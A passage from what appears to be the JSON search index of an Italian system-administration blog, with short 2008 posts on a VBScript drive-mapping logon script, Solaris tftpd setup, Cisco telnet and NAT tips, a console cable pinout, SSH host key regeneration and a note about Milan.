strDriveLetter1, strDriveLetter2, strDriveLetter3 strDriveLetter1 = \u0026#34;S:\u0026#34; strDriveLetter2 = \u0026#34;P:\u0026#34; strDriveLetter3 = \u0026#34;X:\u0026#34; strRemotePath1 = \u0026#34;\\\\server\\share\u0026#34; strRemotePath2 = \u0026#34;\\\\server\\driver\u0026#34; strRemotePath3 = \u0026#34;\\\\server\u0026#34; Set objNetwork = CreateObject(\u0026#34;WScript.Network\u0026#34;) objNetwork.MapNetworkDrive strDriveLetter1, strRemotePath1 objNetwork.MapNetworkDrive strDriveLetter2, strRemotePath2 Set objNetwork = WScript.CreateObject(\u0026#34;WScript.Network\u0026#34;) strUserName = objNetwork.UserName objNetwork.MapNetworkDrive strDriveLetter3, strRemotePath3 _ \u0026amp; \u0026#34;\\\u0026#34; \u0026amp; strUserName \u0026amp; \u0026#34;$\u0026#34; Wscript.Quit ","permalink":"https://www.deepreflect.net/2008/09/16/win-nt-logon-script-network-map/","summary":"\u003cp\u003eScript semplice e veloce per mappare le unita\u0026rsquo; di rete nei domini active directory, c\u0026rsquo;e\u0026rsquo; chi usa ancora il \u0026ldquo;net use\u0026rdquo; ma purtroppo hanno anche inventato il VBS:\u003c/p\u003e\n\u003cp\u003eNotare che la terza mappatura mappa la home prendendo come variabili dallo username.\nNominare .vbs\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eOption Explicit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDim objNetwork, strRemotePath1, strRemotePath2, strRemotePath3\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDim strUserName, strDriveLetter1, strDriveLetter2, strDriveLetter3\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrDriveLetter1 = \u0026#34;S:\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrDriveLetter2 = \u0026#34;P:\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrDriveLetter3 = \u0026#34;X:\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrRemotePath1 = \u0026#34;\\\\server\\share\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrRemotePath2 = \u0026#34;\\\\server\\driver\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrRemotePath3 = \u0026#34;\\\\server\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet objNetwork = CreateObject(\u0026#34;WScript.Network\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eobjNetwork.MapNetworkDrive strDriveLetter1, strRemotePath1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eobjNetwork.MapNetworkDrive strDriveLetter2, strRemotePath2\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet objNetwork = WScript.CreateObject(\u0026#34;WScript.Network\u0026#34;)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003estrUserName = objNetwork.UserName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eobjNetwork.MapNetworkDrive strDriveLetter3, strRemotePath3 _\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026amp; \u0026#34;\\\u0026#34; \u0026amp; strUserName \u0026amp; \u0026#34;$\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWscript.Quit\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Win NT - Logon Script Network MAP"},{"content":"Breve memo sull\u0026rsquo;attivazione del servizio tftpd su solaris.\n#svcs tftp/udp6 svcs: Pattern ‘tftp/udp6′ doesn’t match any instances STATE STIME FMRI #grep tftp /etc/inetd.conf #tftp dgram udp6 wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot Decommentare “#tftp dgram udp6 …” nel file /etc/inetd.conf\n# grep tftp /etc/inetd.conf # TFTPD - tftp server (primarily used for booting) tftp dgram udp6 wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot # inetconv inetconv: Notice: Service manifest for 100235/1 already generated as /var/svc/manifest/network/rpc/100235\\_1-rpc\\_ticotsord.xml, skipped inetconv: Notice: Service manifest for 100083/1 already generated as /var/svc/manifest/network/rpc/100083\\_1-rpc\\_tcp.xml, skipped inetconv: Notice: Service manifest for 100068/2-5 already generated as /var/svc/manifest/network/rpc/100068\\_2-5-rpc\\_udp.xml, skipped tftp -/var/svc/manifest/network/tftp-udp6.xml Importing tftp-udp6.xml …Done server # svcs tftp/udp6 STATE STIME FMRI online 12:56:05 svc:/network/tftp/udp6:default ","permalink":"https://www.deepreflect.net/2008/09/08/solaris-inetd-svc/","summary":"\u003cp\u003eBreve memo sull\u0026rsquo;attivazione del servizio tftpd su solaris.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#svcs tftp/udp6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esvcs: Pattern ‘tftp/udp6′ doesn’t match any instances\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTATE STIME FMRI\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#grep tftp /etc/inetd.conf\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#tftp dgram udp6 wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDecommentare “#tftp dgram udp6 …” nel file /etc/inetd.conf\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# grep tftp /etc/inetd.conf\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# TFTPD - tftp server (primarily used for booting)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etftp dgram udp6 wait root \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esbin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etftpd \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etftpd \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003es \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etftpboot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# inetconv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einetconv: Notice: Service manifest \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e100235\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e already generated as \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esvc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emanifest\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erpc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e100235\u003c/span\u003e\\_1\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erpc\\_ticotsord\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml, skipped\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einetconv: Notice: Service manifest \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e100083\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e already generated as \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esvc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emanifest\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erpc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e100083\u003c/span\u003e\\_1\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erpc\\_tcp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml, skipped\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003einetconv: Notice: Service manifest \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e100068\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e already generated as \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esvc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emanifest\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003erpc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e100068\u003c/span\u003e\\_2\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003erpc\\_udp\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml, skipped\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etftp \u003cspan style=\"color:#f92672\"\u003e-/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003esvc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003emanifest\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003enetwork\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003etftp\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eudp6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml Importing tftp\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eudp6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003exml \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e…\u003c/span\u003eDone\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eserver # svcs tftp/udp6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSTATE STIME FMRI\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eonline 12:56:05 svc:/network/tftp/udp6:default\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Solaris - Inetd SVC"},{"content":"Questa e\u0026rsquo; una cosa che spesso riguarda piu\u0026rsquo; in client telnet che non gli OS Cisco, che durante la procedura di login tentano la procedura di automatic login, generando questo questo errore:\nleobook:~ leonardorizzi$ telnet route01-nov.stars.deepreflect.net Trying xxx.xxx.xxx.xxx... Connected to route01-nov.stars.deepreflect.net. Escape character is \u0026#39;^]\u0026#39;. User Access Verification Username: Kerberos: No default realm defined for Kerberos! Questo ovviamente deriva dalla mancanza di configurazione dell\u0026rsquo;autenticazione kerberos sul sistema, cosa che ovviamente non e\u0026rsquo; strettamente necessaria; Per evitare di vedere e creare nei log righe di errore, semplicemente basta usare il parametro -K di telnet che corrisponde citando il man \u0026ldquo;-K Specifies no automatic login to the remote system.\u0026rdquo;\nleobook:~ leonardorizzi$ telnet -K route01-nov.stars.deepreflect.net Trying xxx.xxx.xxx.xxx... Connected to route01-nov.stars.deepreflect.net. Escape character is \u0026#39;^]\u0026#39;. User Access Verification Username: Altra alternativa disattivare l\u0026rsquo;autologin dalle impostazioni di telnet con:\nleobook:~ leonardorizzi$ echo default unset autologin \u0026gt;~/.telnetrc\n","permalink":"https://www.deepreflect.net/2008/09/07/cisco-kerberos-and-telnet/","summary":"\u003cp\u003eQuesta e\u0026rsquo; una cosa che spesso riguarda piu\u0026rsquo; in client telnet che non gli OS Cisco, che durante la procedura di login tentano la procedura di automatic login, generando questo questo errore:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eleobook:~ leonardorizzi$ telnet route01-nov.stars.deepreflect.net\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTrying xxx.xxx.xxx.xxx...\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eConnected to route01-nov.stars.deepreflect.net.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eEscape character is \u0026#39;^]\u0026#39;.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUser Access Verification\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUsername: Kerberos:     No default realm defined for Kerberos!\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eQuesto ovviamente deriva dalla mancanza di configurazione dell\u0026rsquo;autenticazione kerberos sul sistema, cosa che ovviamente non e\u0026rsquo; strettamente necessaria;\nPer evitare di vedere e creare nei log righe di errore, semplicemente basta usare il parametro -K di telnet che corrisponde citando il man \u0026ldquo;-K Specifies no automatic login to the remote system.\u0026rdquo;\u003c/p\u003e","title":"Cisco - Kerberos and telnet"},{"content":"Vi sara\u0026rsquo; mai capitato di dover riconfigurare il NAT, Route MAP o simili su router in condizioni di nat dinamico, nella maggior parte dei casi si ricevono questi errori:\nDynamic mapping in use, cannot remove %Pool outpool in use, cannot destroy Si risolve usando il comando \u0026ldquo;clear\u0026rdquo; nello specifico:\nclear ip nat translation * dopodiche\u0026rsquo; si puo\u0026rsquo; agire sul nat indisturbati\nconf t no ip nat pool old pool name ip nat pool new pool Ricordo che in molti casi per poter agire su alcune configurazioni e\u0026rsquo; necessario mettere in modalita\u0026rsquo; \u0026ldquo;shutdown\u0026rdquo; le interfacce direttamente interessate nelle procedure di NAT\n","permalink":"https://www.deepreflect.net/2008/09/07/cisco-change-dynamic-nat/","summary":"\u003cp\u003eVi sara\u0026rsquo; mai capitato di dover riconfigurare il NAT, Route MAP o simili su router in condizioni di nat dinamico, nella maggior parte dei casi si ricevono questi errori:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eDynamic mapping in use, cannot \t\tremove\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e%Pool outpool in use, cannot \t\tdestroy\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSi risolve usando il comando \u0026ldquo;clear\u0026rdquo; nello specifico:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eclear ip nat translation *\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003edopodiche\u0026rsquo; si puo\u0026rsquo; agire sul nat indisturbati\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003econf t\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eno ip nat pool old pool name\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eip nat pool new pool\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRicordo che in molti casi per poter agire su alcune configurazioni e\u0026rsquo; necessario mettere in modalita\u0026rsquo; \u0026ldquo;shutdown\u0026rdquo; le interfacce direttamente interessate nelle procedure di NAT\u003c/p\u003e","title":"Cisco - Change Dynamic NAT"},{"content":" Signal Console Port (DTE) RJ-45 Rolled Cable Adapter Adapter Signal RJ-45 RJ-45 Pin DB-9 Pin DB-25 Pin CTS 1 8 7 4 RTS DTR 2 7 4 2 0 TxD 3 6 3 2 RxD GND 4 5 5 7 GND GND 5 4 5 7 GND RxD 6 3 2 3 TxD DSR 7 2 6 8 DTR RTS 8 1 8 5 CTS ","permalink":"https://www.deepreflect.net/2008/08/30/cisco-console-cable-pin/","summary":"\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eSignal\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eConsole Port (DTE)\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eRJ-45 Rolled Cable\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eAdapter\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eAdapter\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eSignal\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRJ-45\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRJ-45 Pin\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eDB-9 Pin\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eDB-25 Pin\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eCTS\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRTS\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eDTR\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e0\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eTxD\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eRxD\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eGND\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eGND\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eGND\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eGND\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eRxD\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eTxD\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eDSR\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e7\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eDTR\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003eRTS\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e8\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCTS\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e","title":"Cisco - Console Cable Pin"},{"content":"Nel caso succeda che il demone sshd non parta per i seguenti motivi:\nCould not load host key: /etc/ssh/ssh_host_key Could not load host key: /etc/ssh/ssh_host_dsa_key Disabling protocol version 1. Could not load host key Disabling protocol version 2. Could not load host key Con questi comandi si generano le chiavi host:\nssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key ","permalink":"https://www.deepreflect.net/2008/08/30/ssh-key/","summary":"\u003cp\u003eNel caso succeda che il demone sshd non parta per i seguenti motivi:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCould \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e load host key: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003essh\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003essh_host_key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eCould \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e load host key: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eetc\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003essh\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003essh_host_dsa_key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDisabling protocol version \u003cspan style=\"color:#ae81ff\"\u003e1.\u003c/span\u003e Could \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e load host key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDisabling protocol version \u003cspan style=\"color:#ae81ff\"\u003e2.\u003c/span\u003e Could \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e load host key\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCon questi comandi si generano le chiavi host:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003essh-keygen -t rsa1 -f /etc/ssh/ssh_host_key\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"SSH key"},{"content":"Primi tre giorni di lavoro, Milano e\u0026rsquo; ancora vuota sembra incredibile, niente traffico e ho pure trovato parcheggio.\nQuesto ha meritato una foto, in fondo si puo\u0026rsquo; notare la stazione centrale, e la strada praticamente deserta.\n","permalink":"https://www.deepreflect.net/2008/08/27/milano/","summary":"\u003cp\u003ePrimi tre giorni di lavoro, Milano e\u0026rsquo; ancora vuota sembra incredibile, niente traffico e ho pure trovato parcheggio.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2008/08/2799772157.jpg\"\u003e\u003cimg loading=\"lazy\" 